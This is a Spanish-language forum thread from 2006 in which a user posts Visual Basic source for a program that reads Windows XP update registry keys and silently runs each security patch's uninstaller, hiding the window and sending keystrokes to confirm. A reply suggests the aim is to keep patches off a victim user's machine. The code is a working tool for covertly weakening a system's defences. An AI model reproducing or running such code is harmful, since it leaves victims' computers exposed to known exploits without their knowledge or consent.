[Programa] Desinstalador de parches de seguridad en Windows XP

Iniciado por Hendrix, 9 Marzo 2006, 16:56 PM

0 Miembros y 1 Visitante están viendo este tema.

Hendrix

Weno, este programa lo que ahce es desinstalar los parches de seguridad de Windows. Les dejo el kode:

Const ERROR_NO_MORE_ITEMS = 259&
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Private Sub Wait(ByVal nSec As Integer)

    t1 = Second(Now)
    t2 = t1 + nSec
    Do
        DoEvents
    Loop While t2 > Second(Now)
End Sub


Sub matar()
For i = 0 To List1.ListCount - 1
Shell ("C:\WINDOWS\$NtUninstall" & List1.List(i) & "$\spuninst\spuninst.exe"), vbHide
Wait (5)
SendKeys ("{ENTER}")
Wait (90)
Next
End Sub


Private Sub Form_Load()
    'KPD-Team 2001
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    Dim hKey As Long, Cnt As Long, sName As String, sData As String, Ret As Long, RetData As Long
    Const BUFFER_SIZE As Long = 255
    'Set the forms graphics mode to persistent
    Ret = BUFFER_SIZE
    'Open the registry key
    If RegOpenKey(HKEY_LOCAL_MACHINE, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows XP", hKey) = 0 Then
        'Create a buffer
        sName = Space(BUFFER_SIZE)
        'Enumerate the keys
        While RegEnumKeyEx(hKey, Cnt, sName, Ret, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_NO_MORE_ITEMS
            'Show the enumerated key
           List2.AddItem Left$(sName, Ret)
            'prepare for the next key
            Cnt = Cnt + 1
            sName = Space(BUFFER_SIZE)
            Ret = BUFFER_SIZE
        Wend
        'close the registry key
        RegCloseKey hKey
    Else
        Me.Print "  Error while calling RegOpenKey"
    End If
   
    For i = 0 To List2.ListCount - 1
   
    If RegOpenKey(HKEY_LOCAL_MACHINE, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows XP\SP2", hKey) = 0 Then
        'Create a buffer
        sName = Space(BUFFER_SIZE)
        'Enumerate the keys
        While RegEnumKeyEx(hKey, Cnt, sName, Ret, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_NO_MORE_ITEMS
            'Show the enumerated key
           List1.AddItem Left$(sName, Ret)
            'prepare for the next key
            Cnt = Cnt + 1
            sName = Space(BUFFER_SIZE)
            Ret = BUFFER_SIZE
        Wend
        'close the registry key
        RegCloseKey hKey
    Else
        Me.Print "  Error while calling RegOpenKey"
    End If
    Wait (1)
    matar
    Wait (120)
    Next
    End
   
End Sub


Hay kode que no es mio, me lo paso kizar en otro post.

Weno, nota para los mas expertos, Si ven algun fallo diganlo porfa.... ;) ;) ;)

Salu2

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián

NYlOn

Corriganme por favor si estoy equivocado, pero yo tengo entendido que las calves en el registro acerca de las actualizaiones son solo para mantener una cuenta. Es decir que aunque no figure la actualizacion en el registro, la actualizacion va a seguir estando ahi...

:huh:

Gorky

Cita de: NYlOn en 10 Marzo 2006, 04:29 AM
Corriganme por favor si estoy equivocado, pero yo tengo entendido que las calves en el registro acerca de las actualizaiones son solo para mantener una cuenta. Es decir que aunque no figure la actualizacion en el registro, la actualizacion va a seguir estando ahi...

:huh:

No se si llevaras razon o no pero, ¿que mas dara que la actualizacion este o no? Lo importante es que no se le aplique al usuario.

Hendrix

El programa lo que hace es buskar la ruta del programa de DESINSTALACION del parche y luego lo ejekuta....

Salu2

Hendrix

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián